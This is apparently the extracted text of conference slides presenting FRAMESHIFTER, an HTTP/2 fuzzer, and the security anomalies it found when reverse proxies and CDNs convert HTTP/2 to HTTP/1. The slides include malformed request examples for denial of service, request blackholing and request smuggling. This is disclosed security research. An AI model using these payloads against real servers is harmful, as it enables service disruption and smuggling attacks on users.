FRAMESHIFTER: Security Implications of HTTP/2-to-HTTP/1 Conversion Anomalies
Bahruz Jabiyev, Steven Sprecher, Anthony Gavazzi,
Tommaso Innocenti, Kaan Onarlioglu*, Engin Kirda
Northeastern University, *Akamai Technologies
HTTP/1
funny cats
POST /search HTTP/1.1
host: google.com
user-agent: chrome
content-length: 16
query=funny+cats
HTTP/1 HTTP/2
HTTP/2
HEADERS
-----------------------
:method = POST�:path = /search
:authority = google.com
CONTINUATION
-----------------------
content-length = 16�user-agent = chrome
+ END_HEADERS
DATA
-----------------------
query=funny+cats�user-agent = chrome
+ END_STREAM
HTTP/2-to-HTTP/1 Conversion
HEADERS
-----------------------
:method = POST�:path = /search
:authority = google.com
CONTINUATION
-----------------------
content-length = 16�user-agent = chrome
+ END_HEADERS
DATA
-----------------------
query=funny+cats�user-agent = chrome
+ END_STREAM
Origin
Reverse �Proxy
POST /search HTTP/1.1
host: google.com
user-agent: chrome
content-length: 16
query=funny+cats
HTTP/2-to-HTTP/1 Conversion
Research Goal
POST / HTTP/1.1
host: example.com
content-length: 5
BBBBB
POST / HTTP/1.1
host: example.com
transfer-encoding: chunked
5
BBBBB
0
POST / HTTP/1.1
host: example.com
Research Goal
Investigate the anomalies in the conversion process and and their security implications.
Past Research
Our Research
FRAMESHIFTER: HTTP/2 Fuzzer
<SEQUENCE> ::= <HEADERS><DATA> | <HEADERS><CONTINUATION><DATA> | <HEADERS><DATA><DATA>
<HEADERS> ::= <METHOD><URI><HEADERS-BLOCK> | <METHOD><URI>
<METHOD> ::= GET | POST | HEAD
<URI> ::= /search | http://google.com/search
<HEADERS-BLOCK> ::= …
<CONTINUATION> ::= …
<DATA> ::= …
FRAMESHIFTER: HTTP/2 Fuzzer
<SEQUENCE> ::= <HEADERS><DATA> | <HEADERS><CONTINUATION><DATA> | <HEADERS><DATA><DATA>
<HEADERS> ::= <METHOD><URI><HEADERS-BLOCK> | <METHOD><URI>
<METHOD> ::= GET | POST | HEAD
<URI> ::= /search | http://google.com/search
<HEADERS-BLOCK> ::= …
FRAMESHIFTER: HTTP/2 Fuzzer
HEADERS
-----------------------
:method = POST�:path = /search
:authority = google.com
CONTINUATION
-----------------------
content length =
user-agent = chrome
+ END_HEADERS
DATA
-----------------------
query=funny+cats�user-agent = chrome
+ END_STREAM
\t
_
-
16
1-
FRAMESHIFTER: HTTP/2 Fuzzer
HEADERS
-----------------------
:method = POST\t�:path = /search
:authority = google.com
CONTINUATION
-----------------------
content_length = 1.
user-agent = chrome
+ END_HEADERS
DATA
-----------------------
query=funny+cats�user-agent = chrome
+ END_STREAM
CONTINUATION
--------------------
some-header = any
any-header = other
+ END_HEADERS
HEADERS
--------------------
otherheader = any
someheader = other
+ END_STREAM
FRAMESHIFTER: HTTP/2 Fuzzer
HEADERS
-----------------------
:method = POST\t�:path = /search
:authority = google.com
CONTINUATION
-----------------------
content_length = 1.
user-agent = chrome
+ END_HEADERS
DATA
-----------------------
query=funny+cats�user-agent = chrome
+ END_STREAM
CONTINUATION
--------------------
some-header = any
any-header = other
+ END_HEADERS
HEADERS
--------------------
otherheader = any
someheader = other
+ END_STREAM
HEADERS
--------------------
otherheader = any
someheader = other
+ END_STREAM
Experiments
HTTP/2
HTTP/1
Apache httpd | NGINX | Caddy | ATS | HAProxy | Varnish | Traefik | Envoy Proxy
Akamai | Cloudflare | CloudFront | Fastly
Anomalies
Anomalies
POST / HTTP/1.1
content-length: 15
BBBBB
POST / HTTP/1.1
transfer-encoding: chunked
5\r\nBBBBB
POST / HTTP/1.1
content-length: 5&
BBBBB
POST / HTTP/1.1
content-length: 5
content-length: 10
BBBBB
POST / HTTP/1.1
transfer-encoding: chunked, chunked
5\r\nBBBBB\r\n0\r\n\r\n
POST / HTTP/1.1
content-length: 5\n
BBBBB
Anomalies
POST / HTTP/1.1
content-length: 15
BBBBB
POST / HTTP/1.1
content-length: 5&
BBBBB
POST / HTTP/1.1
content-length: 5
content-length: 10
BBBBB
POST / HTTP/1.1
transfer-encoding: chunked, chunked
5\r\nBBBBB\r\n0\r\n\r\n
Attacks
Denial of Service
Origin
Reverse �Proxy
POST /search HTTP/1.1
content-length: 10
BBBBB
Denial of Service
Origin
Reverse �Proxy
POST /search HTTP/1.1
content-length: 10
BBBBB
Denial of Service
Origin
Reverse �Proxy
Request Blackholing
POST /search HTTP/1.1
content-length: 10
BBBBB
Request Blackholing
POST /search HTTP/1.1
content-length: 10
BBBBB
POST / HTTP/1.1
content-length: 12
page=account
Request Blackholing
POST /search HTTP/1.1
content-length: 10
BBBBB
POST / HTTP/1.1
content-length: 12
page=account
400 Bad Request
Request Blackholing
Origin
Reverse �Proxy
POST /search HTTP/1.1
content-length: 10
BBBBB
POST /search HTTP/1.1
content-length: 5
BBBBB
Query of Death
Request Smuggling
Request Smuggling
GET /search HTTP/1.1
content-length: 32
GET / HTTP/1.1
host: victim.com
Affected Server Pairs
Disclosure
Conclusion